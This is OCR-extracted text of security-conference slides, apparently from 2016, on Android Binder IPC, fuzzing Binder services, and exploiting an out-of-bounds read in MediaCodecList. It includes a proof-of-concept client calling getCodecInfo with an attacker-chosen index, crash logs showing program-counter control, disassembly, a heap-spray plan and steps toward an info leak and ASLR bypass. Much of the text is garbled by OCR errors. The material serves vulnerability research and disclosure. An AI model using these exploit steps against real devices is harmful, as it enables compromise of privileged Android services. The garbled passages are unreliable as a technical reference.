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Binderin Android

ABinderisthe core mechanisrfor inter-processcommunication

AAt the beginningcalledOpenBinder
ADevelopedat Belnc.and Palmfor BeOS

ARemovedSystemMPCs
ANo semaphoressharedmemorysegmentsmessagejueues
ANote: still have shared mem impl
ANot proneto resourceleakagedenialof-service

ANot in POSIXmplementations
AMergedin LinuxKernelat 2015
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Binderin Android- Advantagegcont.)

ABuild-in referencecount of object
ABy extendindRefBase

ADeathnotification mechanism

ASharefile descriptorsacrossprocessboundaries
AAshMemis passed viariteFileDescriptor
AThemediaserveplays media via passdtD

ASupports sync andsynccalls

AAsync start an activity, bind a service, registering a listeat,
A Sync: directly calling a service
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Key of the heartBinder

AWhen calling a remote service (e.g. Crypto)

ARemote service is connected to a handle
AThen constructed aBpBinderwith handle
AThen constructe®plnterfac&lCrypto> viaasinterfacglBinder)

A new BpCrypto publicBpinterfac&lCrypto>
AICryptois abstract busines®gicstyle interfacestyle class
A Bplnterfacecombines Cryptowith BpRefBasby multiple inheritance
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Key of the heartBinder(cont.)

AWhen a transaction is made, the binder token is written together with
transaction command and data usirmgtl to /dev/binder

ABinder driver queries the mapping BfnderToker->BinderService
relay command to appropriate service

ABBinderimplementation (usuallninterface - - - dyTraRdsact
processes incoming data

AYarpeé Memory Corruption often occurs here!

AExampleBnCryptds serverside proxy
Ad/ NBLII2¢ A& |OGdzZrtteée aSNIWSNI AYa
K.)KEE_N
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RefBase

public DECLARE_META IN

PCThreadState

.

HpRetHaze

AR inder

Froceseatate

AT
I
I
I
I
I
I
I
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http://androidxref.com/6.0.0_r1/s?defs=class&project=frameworks
http://androidxref.com/6.0.0_r1/s?defs=public&project=frameworks
http://androidxref.com/6.0.0_r1/s?defs=IInterface&project=frameworks
http://androidxref.com/6.0.0_r1/s?defs=public&project=frameworks
http://androidxref.com/6.0.0_r1/s?defs=DECLARE_META_INTERFACE&project=frameworks

RefBase public DECLARE_META IN

.

HpHetHaze
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http://androidxref.com/6.0.0_r1/s?defs=class&project=frameworks
http://androidxref.com/6.0.0_r1/s?defs=public&project=frameworks
http://androidxref.com/6.0.0_r1/s?defs=IInterface&project=frameworks
http://androidxref.com/6.0.0_r1/s?defs=public&project=frameworks
http://androidxref.com/6.0.0_r1/s?defs=DECLARE_META_INTERFACE&project=frameworks
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RefBase

public DECLARE_META IN

[PCThreadState

BpBinder

HpRetHaze

- i L]

AR inder

Froceseatate

AT
I
I
I
I
I
I
I
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http://androidxref.com/6.0.0_r1/s?defs=class&project=frameworks
http://androidxref.com/6.0.0_r1/s?defs=public&project=frameworks
http://androidxref.com/6.0.0_r1/s?defs=IInterface&project=frameworks
http://androidxref.com/6.0.0_r1/s?defs=public&project=frameworks
http://androidxref.com/6.0.0_r1/s?defs=DECLARE_META_INTERFACE&project=frameworks
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FefBase

public DECLARE_META IN

.

HpRetHaze

PCThreadState

struct Crypto: publicBnCrypto

Froceseatate

etlontestihject 1)
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http://androidxref.com/6.0.0_r1/s?defs=class&project=frameworks
http://androidxref.com/6.0.0_r1/s?defs=public&project=frameworks
http://androidxref.com/6.0.0_r1/s?defs=IInterface&project=frameworks
http://androidxref.com/6.0.0_r1/s?defs=public&project=frameworks
http://androidxref.com/6.0.0_r1/s?defs=DECLARE_META_INTERFACE&project=frameworks
http://androidxref.com/6.0.0_r1/s?refs=Crypto&project=frameworks
http://androidxref.com/6.0.0_r1/s?defs=public&project=frameworks
http://androidxref.com/6.0.0_r1/s?defs=BnCrypto&project=frameworks

Conclusion

ABpXXXServidelds client calling conversion

AParamtypes
AParamcounts

ABnXXXServidwlds server transaction logic

AXXXServicenplementsXXXService
ABusiness logic here
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Data boxing and unboxing

AParcel.cpplefines basic data types like POJOs
Alnt, string,StrongBinderetc

AComplex data types build on POXdsarshalparcelization

ANo type information in data stream
Al 2t Sfteé AYUSNLINBUSNXa OFffxX AydSNLNINB

AProfit here!
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Data boxing and unboxing in Java

AParcel.javalefines basic data types like POJOs and more
ASerializables

ASerializablefas typeinfo string in data stream

Als this class actuallerializabl@
ACVE20147911

AAre all fields in this class instance secure to accept serialized input?
ACVE20153825
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Fuzzing strategies

AGoogle follows good coding patterns, good for automatic code
parsing
ASearch and collect @pXX>and BnXXXlefinitions
AParse out interface argument types witlrite XXX
ANeed predomain knowledge on how to get that target service

TR e e WAL WA

data. wrlteInterfaceToken(ICrypto :getInterfaceDescriptor());
data.writeInt32(secure);
data.writeInt32(mode);
uint8_t kDummy[16] = { @ };
(key == NULL) {
key = kDummy;
}

(iv == NULL) {
iv = kDummy;
}
data.write(key, 16); K)
data.write(iv, 16); KEEN
B - - sacurity
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Fuzzing strategies (cont.)

AAgentserver design
A Server stores parsed interface and arguments information
AAgent accept these from server via socket or arguments

AParameter content is determined by agent

APrefilled content
ABit-flip
ARandomize

AWatch forpid change oprivileged process
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Fuzzing strategies (cont.)

AClosed sourceervices by thirgparty vendors
AUseidapythonscript to extract argument types
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Fuzzing strategies of Java land (cont.)

AMost objects in Java land transaction is passed in format of serialized
stream
Alntercept and mutate byte stream
Alntercept and mutate typeénfo string header

ATriggers a lot of crashes
AOOM, infinite loop then killed by watchdog
ANo exploitable ones in Jata
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Integration with ASAN

AAOSP provides way to enable ASAN on libraries

AcS&aG§SR 2y bSEdz
AWould be best if we can build on x86

c>X RARYQU
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Integration with AFL

ABinder transaction is actually some byggeam data passing around

ABasic idea: send transaction data from input generated and
monitored by AFL
ANeed to compile Android core libraries with AFL
AStill in progress
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Example lunmarshalDOB irAmessage
(24123723)

AmNumItemSlS flxedlen sp<AMessage> msg = new AMessage(what);

Eirrfa)/ \A/itr]|(3'1 €311 msg->mNumItems = static_cast<size t>(parcel.readInt32());
for (size t i = 0; i < msg->mNumItems; ++i) {

Item *item = &msg->mItems[i];

const char *name = parcel.readCString();
item->setName(name, strlen(name));
item->mType = static_cast<Type>(parcel.readInt32());

switch (item->mType) {
case kTypeInt32:

{

item->u.int32Value parcel.readInt32();
break;

}

case kTypeInt64d:
{

item->u.int64value parcel.readInt64();
break;




Example 1 (cont.)

ATriggering vulnerable code path

A Client construct®nStreamSourcand passes tMediaPlayer>setDataSource
AWhen certain type media file is played,y { (1 NB I YsgtRistehsis ra
called an client now get an referencelttreamSource

AManipulate incoming parcel stream IStreamSourceéssueCommandnd the
server implementation of this function will trigger the OOB bug

KD e

security

lab




Example 1 (cont.)

Alnformation disclosure isystem_server
AlInteger overflow irMotionEvent:unparcellead to shrinking vector size
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status_t MotionEvent::readFromParcel(Parcel* parcel) {

size_t pointerCount = parcel->readInt32();

size_t sampleCount = parcel->readInt32();

if (pointerCount == || pointerCount > MAX_POINTERS || sampleCount == 0) {
return BAD_VALUE;

mDeviceld = parcel->readInt32();
mSource = parcel->readInt32();

mAction = parcel->readInt32();
mFlags = parcel->readInt32();
mEdgeFlags = parcel->readInt32();
mMetaState = parcel->readInt32();
mButtonState = parcel->readInt32();
mX0ffset
mYOffset
mXPrecision = parcel->readFloat();

parcel->readFloat();

parcel->readFloat();

mYPrecision = parcel->readFloat();
mDownTime = parcel->readInt64();

mPointerProperties.clear();
mPointerProperties.setCapacity(pointerCount);
mSampleEventTimes.clear();
mSampleEventTimes.setCapacity(sampleCount); Integer overflow here

c . | ). - . ~ - | | PN
mMadinpLeroT1mLer COorus . cLedr (),

KD e
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Out-of-bound dereference ilMediaCodecLiq444512)

4/1/2016


https://android.googlesource.com/platform/frameworks/av/+/77c185d5499d6174e7a97b3e1512994d3a803151

MediaCodecList

AProvides information about a given media codec available on the
device. You can iterate through all codecs available by querying
MediaCodecList

Almplementation at Java/Native level
Aframeworks/basejandroidmedia/MediaCodecList.java
Aframeworksavmedia/libmedidlMediaCodecList.cpp
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MediaCodecList

case GET _CODEC _INF:

{
CHECK INTERFAC( IMediaCodecList , data , reply );
size_ t Iindex = static_cast <size t >(data .readInt32 ());
const sp<MediaCodecinfo > info = getCodecinfo (index );
if (info = NULL) {

reply ->writelnt32  ( OkK);
info - >writeToParcel  (reply );
} else {

reply ->writeint32 (- ERANG);

}
return  NO_ERRGC;

}

break

4/1/2016




struct  MediaCodecList . public BnMediaCodecList
static sp<IMediaCodecList > getinstance ();

virtual ssize t  findCodecByType (
const char *type , bool encoder , size t swaiuiuca

virtual ssize t  findCodecByName (const char *name) const ;
virtual size t countCodecs () const ;

virtual sp<MediaCodecinfo > getCodecinfo (size t index ) const {
return  mCodeclinfos . itemAt (index ); //no check on bound

}

4/1/2016




POC
void (oobl() {

sp<IMediaPlayerService> service = interface_cast<IMediaPlayerService>
(defaultServiceManager()—>getService(String16("media.player")));

sp<IMediaCodecList> list = service->getCodecList();

size t cnt = list->countCodecs();

printf(" [+] codec cnt %p\n", cnt);

int offset = 0x6666;

sp<MediaCodecInfo> ci = list->getCodecInfo(offset / 4);

printf("[+] Trigger end.\n");

-y et WAL ] WJIT WA == WA I T WD Wi
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Flibc : Fatal signal 11 (SIGSEGV), code 1,dddItOx84 intid 1238 (Binder _2)

| SELinuxSELinuxLoadedile contextscontexts from file_contexts

F DEBUG kkk kkk kkk kkk kkk kkk kkk kkk kkk kkk kkk kkk kkk kkk kkk kkk

F DEBUG : Build fingerprint: 'googl@mushamu:6.0/MPA441/2172151:user/releaseys'

F DEBUG : Revision: '0'

F DEBUG : ABI: 'arm'

W NativeCrashListeneCouldn't findProcessRecorfbr pid 376

F DEBUG  d: 3/06,tid: 1238, name: Bi der 2 >>> /sy/tem/bimgdias 2rvex<s

F DEBUG | sianal 1THSESSE 5V) co e £ (SE SV M4 PERJR)( =4

F DEBUG r0 00005280 1L b2:31 'al r20 0CJD0F5 o DZ¢ 317 ac

E DEBUG Iammmitefrailed: & malen pioe

FDEBUG : r4b2e81838 | 5 b606b600 r6 b2e81804 r7 00000003

F DEBUG : r8 00000000 r9 0000C£000003f5fp 00000178

F DEBUG :ip b686fe80spb2e81798Ir b67bda2l pc b6b5d6106psr200f0030

F DEBUG :

F DEBUG backtrace

F DEBUG : #00 pc 0000e610 /system/lib/libutils.so (andef8aseincStrongvoidconst) const+1)

F DEBUG : #01 pc 000a8ald /system/lib/libstagefright.so

F DEBUG : #02 pc 000759d5 /system/lib/libmedia.so (an&midediaCodecLisbonTransadunsignednt,

android::Parcetonsi&, android::Parcel*, unsignedt)+104 K)
KEEN
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Exploitability Analysis

AmCodecinfos Vectorsp<MediaCodecInfp >
A2 K| Us@aK @
A Strong pointer in Android
A2 KI 1 Qa SO0 2NXK
ALineard  O1T SR & 0 2 NJ 3S SspdMedia@oddclofg)a & i 2 NS R

template <class TYPE> inline
ssize t  Vector <TYPE>:: insertAt (const TYPE& item , size t index , size t numltems ) {

return  Vectorimpl :: insertAt (&tem , index , numltems );

}

K) KEEN
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Sample Vectosp<MediaCodecinfs memory layout

(gdb) x/

0xb63e4000 :
0xb63e4010 :
0xb63e4020 :
0xb63e4030 :
0xb63e4040 :
0xb63e4050 :
0xb63e4060 :
0xb63e4070 :
Oxb63e4080 :
0xb63e4090 :

(gdb) x/

0xb638e250
0xb638e260
0xb638e270
0xb638e280
160 region

(jemalloc

4/1/2016

Oxb6f5b5a4

0x00000000
0xb60b5290
0x00000000
Oxb63fb000

0x00000000
0x0000001d
0x00000000
0x00000001
0x00000001

Oxb63dfa00
Oxb63dfc80
O0xb63dffO0
0xb63e01d0

Oxb6f5b5dc

0x00000000
0x00000000
Oxb63ce0cO
Oxb6f5baa8

0x00000020
0x00000000
Oxb6f5b63cC

0x00000070
0x00000001

Oxb63dfaal
Oxb63dfd20
Oxb63dfff0
Oxb63e0270

(33 codecs ))

=> (+0x5c Is

0x00000000
Oxb6709301
0x00000000
0x00000011
0x00000000
Oxb6f5bde8

0x00000004
Oxb63del120
Oxb60a0000
0x00000001

Oxb63dfb40
Oxb63dfdcO
0xb63e0090
0xb63e0310

mCodecinfos ::array())

0x00000000
Oxb6f5bel0

0x00000004
0x00000020
0x00000000
0xb638e250
0x00000000
O0xb63c6108
0x00720064
0x00000004

Oxb63dfbe0
Oxb63dfe60
0xb63e0130
Oxb63dffa0
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VectoritemAt

template <class TYPE> inline
const TYPE& Vector <TYPE>:: operator []J( size t index ) const {
LOG_FATAL_IF(index >=size (),
, __ PRETTY_FUNCTION_,

int (index ), Int (size ()));
return *( array () + index ); //direct addressing

}

template <class TYPE> inline
const TYPE& Vector <TYPE>:: itemAt (size t index ) const {
return  operator []( index );

}

K) KEEN
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Strong Pointer

template <typename T>
class sp {
public

inIi.ne sp() : m_ptr (0) { }

sp(T* other );
sp(const sp<T>& other );
template <typename U> sp(U* other );

template <typename U> sp(const sp<U>& other );
private

™ m_ptr ;

K) KEEN
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Strong Pointer (cont.)

template <typename T>
sSp<T>:: sp(const sp<T>& other )
m_ptr (other . m_ptr ) {
if  (m_ptr)
m_ptr - >incStrong (this );
}

template <typename T> template <typename U>
sp<T>:: sp(U* other )
. m_ptr (other ) {
if (other )
(( T*) other )-=>incStrong (this);

K) KEEN
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Watch out for copy constructors!

AVectoritemAt?
ANo, it returnsconstTYPE&

AgetCodecInf@

APossibility of PC control?

K e
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RefBasencStrong control thevtablé

void RefBase :: incStrong (const void * id ) const

{

weakref impl * const refs = mRefs;
refs - >incWeak (id );

refs - >addStrongRef (id );
const int32.t ¢ = android_atomic_inc (&
ALOG _ASSER(c >
#if PRINT_REFS
ALOGI(
#endif

if (c != INITIAL_ STRONG_VALUE) {
return
}

, refs );

android_atomic_add (- INITIAL_STRONG_VAL
refs - >mBase- >onFirstRef ();

}

RefBasé constmBase


http://androidxref.com/6.0.0_r1/xref/system/core/libutils/RefBase.cpp#RefBase
http://androidxref.com/6.0.0_r1/s?refs=mBase&project=system

text:
text:

text

text:
text:
text:
text:
text:
text:
text:
text:
text:
text:
text:
text:
text:

:00BAB6LD ; android::sp{android::HediaCodecInfo>  usercall android::HediaCodecList::getCodecInfol<RE>{const android::HediaCodeclist #

00BABGLE ZNK7androidisbediaCodecList12getCodecInfokj

BOBABGYE this = R1

:000A8640 index = R2

B00A8GLA
BO0ABGLY
B08A8OLE
B0BABOLE
B00ABOLE
B0BABOLE
BB0ABGSH
BB0ARGS2
0B0ABGSY
0B0ABGSE
080ABG5E locret ABGSH
B0BABLSR

PUSH. Y
HOU
LDR
LDR.Y
CHP
STR
BE(Q
HOU
BLA

POP.Y

- const android::HediaCodecList *
; size t
{R11,LR}
R3, RO |
RO, [this,#8x5C] ; get mCodecInfos
RO, [RO,index,LSL#2] ; get stored CodecInfo ptr, a.k.a mptr
RA, #0
RA, [R3] ; prepare return value
locret ABGSE
R1, R3 ; "this" of sp
_ZHK7android7RefBasedincStrongEPKy ; android::RefBase::incStrong{void constx)
; CODE XREF: android::HediaCodecList::qetCodecInfo(uint)+161]
{R11,PC}

00BABA58 ; End of function android::HMediaCodeclist::getCodecInfo(uint)

4/1/2016
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Attributes: static

EXPORT ZHEKF7android7RefBase?incStrongEFPKv
_ZHE7android7RefBase?incStrongEPKu

void  fastcall android::-RefBase:-:incStrong{const android::-RefBase

#=this, const void =*=id)

this = RSA : const android::RefBase 3
id = R1 : const wvoid =
LDR this, [this,#i4]
refs = RSA : android: :RefBase:-:-weakref impl =const
DHB . W I5H
ADDS id, refs, HL
‘ v
[l iy (5=
loc DABE : R2 = &i{refs—>miWleak)
LDREX - W RZ2, [1d]
ADDS RZ2, #1
STREX . W R3, R2, [id] ; atomic increment
CHP R3, #HA
BHE loc_DABE
I -
k J
I
DHB _ L] ISH ; gquarantee sequencial execution
. AR
I
m>trong
; const int32 jt
RZ2, c, #1
R32, R2, [refs]
R3, #HA
1ODASE 0000DREE: android: :BefBaser rincStrong{(volid const*)+2 (Syvnchronized with FPseudocode-—R)




Ll (i 5=
DHB .U I5H
vy
it =
loc DABA ;» mStrong
id = R1 : const void =
LDREX . W id, [refs]
ADD .Y R1, R1, #HoxFOBO00000
STREX . W R2, R1, [refs]
CHP RZ2, #o
BHE loc_DABA
I L
Y

a1 -5

LDR
LDR

; register R1: (null})
: : 31,48 ]

mBase wptr table = R1

refs,
mBase

= const void =
[refs, #8]
vptr_table, [R8]

@lloid: :RefBase::incStrong{void const=}

A RO is retrieved from an offset we control
A LDR RO, [RO, index, LSL#2]
A in itemAt function
A Then passed tmcStrong
A refs = [RO + 4]
A preparemStrond[refs]) ==
INIT_STRONG_VALUE
A Control PC at BX R1!
A R1=[R1 + 8] = [[RO]+8] = [[refs+8] +




We still need heafengshui

AWhich interface is used to spray?
AIDrm->provideKeyResponggint8 t*, uint8_t* payload, uint8_t)
ATherespcan be passed in via basefstmat

A Allow for norasci data

A Stored inmMap of IDrm, no free/GC
AThanks tgemallog region.160 is allocated adjacent

KD e
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F/libc (
W/NativeCrashListener(

191): Fatal signal 11 (SIGSEGV), code 1, fault addr @x61616160 in tid 191 (mediaserver)
684): Couldn't find ProcessRecord for pid 191

IIDEBUG ( 133}: kkk Fhhhk Fhkk &whk FHhkhk *hkk Kwhkk FHEhkhk *whkEk khhkk *EhkEk kwkk kwEkk *Ehkk *kkk k%%

E/DEBUG ( 188): AM write failure (32 / Broken pipe)

I/DEBUG ( 188): Build fingerprint: 'Android/aosp_hammerhead/hammerhead:5.1.1/LMY481/hqd12301638:u
I/DEBUG ( 188): Revision: "11'

I/DEBUG ( 188): ABI: 'arm'

I/DEBUG ( 188): pid: 191, tid: 191, name: mediaserver =>>> [system/bin/mediaserver <<<

I/DEBUG ( 188): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 6x61616160

I/DEBUG ( 188): rée b3ee3e30 ri1 61616161 r2 00000001 r3 b3003034

I/DEBUG ( 188): r4 b3ee3elc r5 b4c316460 r6 bebcd884 r7 b6659d85

I/DEBUG ( 188): r8 bebcd7fc r9 oeeeeees sl eeeee3fs fp oeeesebf

I/DEBUG ( 188): ip bédadd7c sp bebcd7d8 1r béc2fbbb pc 61616160 cpsr 6000030

I/DEBUG ( 188):

I/DEBUG ( 188): backtrace:

I/DEBUG ( 188): #00 pc 61616160 <unknown>

I/DEBUG ( 188): #01 pc 0000ebb9 [system/lib/libutils.so (android::RefBase::incStrong(void co
I/DEBUG ( 188): #02 pc 00062311 [system/lib/libstagefright.so (android::sp<android::ABuffer=>
I/DEBUG ( 188): #03 pc 00085d8f [system/lib/libstagefright.so

I/DEBUG ( 188): #04 pc 0005b157 [system/lib/libmedia.so (android::BnMediaCodeclList::onTransa
I/DEBUG ( 188): #05 pc 0001a6cd [system/lib/libbinder.so (android::BBinder::transact(unsigne
I/DEBUG ( 188): #06 pc 0001f77b [system/lib/libbinder.so (android::IPCThreadState::executeCo
I/DEBUG ( 188): #07 pc 0001f89f [system/lib/libbinder.so (android::IPCThreadState::getAndExe
I/DEBUG ( 188): #08 pc 0001f8el1 [system/lib/libbinder.so (android::IPCThreadState::joinThrea
I/DEBUG ( 188): #09 pc 00001693 [system/bin/mediaserver

I/DEBUG ( 188): #10 pc 00012df5 [system/lib/libc.so (__libc_init+44)

I/DEBUG ( 188): #11 pc 00001908 [system/bin/mediaserver

I/DEBUG ( 188):

4/1/2016
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HmmX hy S 06dz3 G2 NIXzf S

ACan we turn this bug intmfoleakagain?
AYes!

status t MediaCodecInfo::writeToParcel(Parcel *parcel) const {
mName.writeToParcel (parcel);
parcel->writeInt32(mIsEncoder);
parcel->writeInt32(mQuirks.size());
for (size t i = 0; 1 < mQuirks.size(); i++) {
mQuirks.itemAt(i).writeToParcel (parcel);

}

parcel->writeInt32 (mCaps.size());

for (size t i = 0; 1 < mCaps.size(); i++) {
mCaps.keyAt(i).writeToParcel (parcel);
mCaps.valueAt(i)->writeToParcel (parcel);

}

return OK;
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status t AString::writeToParcel(Parcel *parcel) const {
CHECK LE(mSize, static_cast<size t>(INT32 MAX));
status t err = parcel->writeInt32(mSize);
if (err == OK) {

err = parcel->write(mData, mSize);

}

return err;
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Controlled fakeMediaCodecinfo

Alf we can pointed the location of being marshalidédiaCodecinfdo
controllable chunk

AAString:writeToParceWill give us arbitrary read ability

APrerequisites:
AmQuirks.siz® == 0 to avoid crash (offset 32)
AmCaps.siz@¢ == 0 to avoid crash (offset 52)
A Avoid crash ifncStrong
A const = (&refs> );
A Need [mRefs+4] points to valid location
A C = INITIAL_STRONG_VALUE
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http://androidxref.com/5.1.1_r6/s?defs=int32_t&project=system
http://androidxref.com/5.1.1_r6/s?defs=android_atomic_inc&project=system
http://androidxref.com/5.1.1_r6/s?defs=refs&project=system
http://androidxref.com/5.1.1_r6/xref/system/core/libutils/RefBase.cpp#mStrong

InfoLeakSolution

ASpray content of size 4096 (page size) to push heap to reaphifik
address 0xb3003010

ASpray content of size 160 filled with 0xb3003010
A Content will fall right behind Vectosp<MediaCodecIinf§ 5 Q& | NNJ & 6 0
ATrigger OOB to relocatdediaCodecinfao 0xb3003010
ARetrieve leaked memory content

AASLR bypass

A By reading out continuous content in text section and compare with known
shared libraries, we can predict the offset of shared library
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